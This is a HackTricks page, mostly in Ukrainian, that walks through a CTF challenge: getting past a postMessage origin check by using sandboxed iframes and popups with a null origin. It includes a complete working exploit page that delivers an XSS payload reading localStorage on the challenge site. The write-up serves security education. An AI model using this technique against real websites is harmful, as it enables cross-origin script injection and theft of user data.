Bypassing SOP with Iframes - 1

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Iframes in SOP-1

У цьому виклику, створеному NDevTK та Terjanq, вам потрібно експлуатувати XSS у закодованому

const identifier = '4a600cd2d4f9aa1cfb5aa786';
onmessage = e => {
const data = e.data;
if (e.origin !== window.origin && data.identifier !== identifier) return;
if (data.type === 'render') {
renderContainer.innerHTML = data.body;
}
}

Основна проблема полягає в тому, що головна сторінка використовує DomPurify для відправки data.body, тому для того, щоб надіслати свої власні html дані до цього коду, вам потрібно обійти e.origin !== window.origin.

Давайте розглянемо рішення, яке вони пропонують.

SOP обхід 1 (e.origin === null)

Коли //example.org вбудовано в пісочницю iframe, тоді походження сторінки буде null, тобто window.origin === null. Тож просто вбудувавши iframe через <iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">, ми можемо примусити походження null.

Якщо сторінка була б вбудовуваною, ви могли б обійти цю захист таким чином (можливо, також потрібно налаштувати куки на SameSite=None).

SOP обхід 2 (window.origin === null)

Менш відомий факт полягає в тому, що коли значення пісочниці allow-popups встановлено, тоді відкритий спливаючий вікно буде успадковувати всі атрибути пісочниці, якщо не встановлено allow-popups-to-escape-sandbox. Отже, відкриття спливаючого вікна з null походження зробить window.origin всередині спливаючого вікна також null.

Рішення виклику

Отже, для цього виклику можна створити iframe, відкрити спливаюче вікно на сторінку з вразливим обробником коду XSS (/iframe.php), оскільки window.origin === e.origin, тому що обидва є null, можливо надіслати корисне навантаження, яке експлуатує XSS.

Це корисне навантаження отримає ідентифікатор і надішле XSS назад на верхню сторінку (сторінка, яка відкрила спливаюче вікно), яка змінить місцезнаходження на вразливу /iframe.php. Оскільки ідентифікатор відомий, не має значення, що умова window.origin === e.origin не задовольняється (пам'ятайте, походження - це спливаюче вікно з iframe, яке має походження null) тому що data.identifier === identifier. Тоді XSS спрацює знову, цього разу в правильному походженні.

<body>
<script>
f = document.createElement('iframe');

// Needed flags
f.sandbox = 'allow-scripts allow-popups allow-top-navigation';

// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll('\n',' ');

// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f);
</script>
</body>

Підтримайте HackTricks

Перевірте плани підписки!
Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.

PreviousBlocking main page to steal postmessage NextBypassing SOP with Iframes - 2

Last updated 6 days ago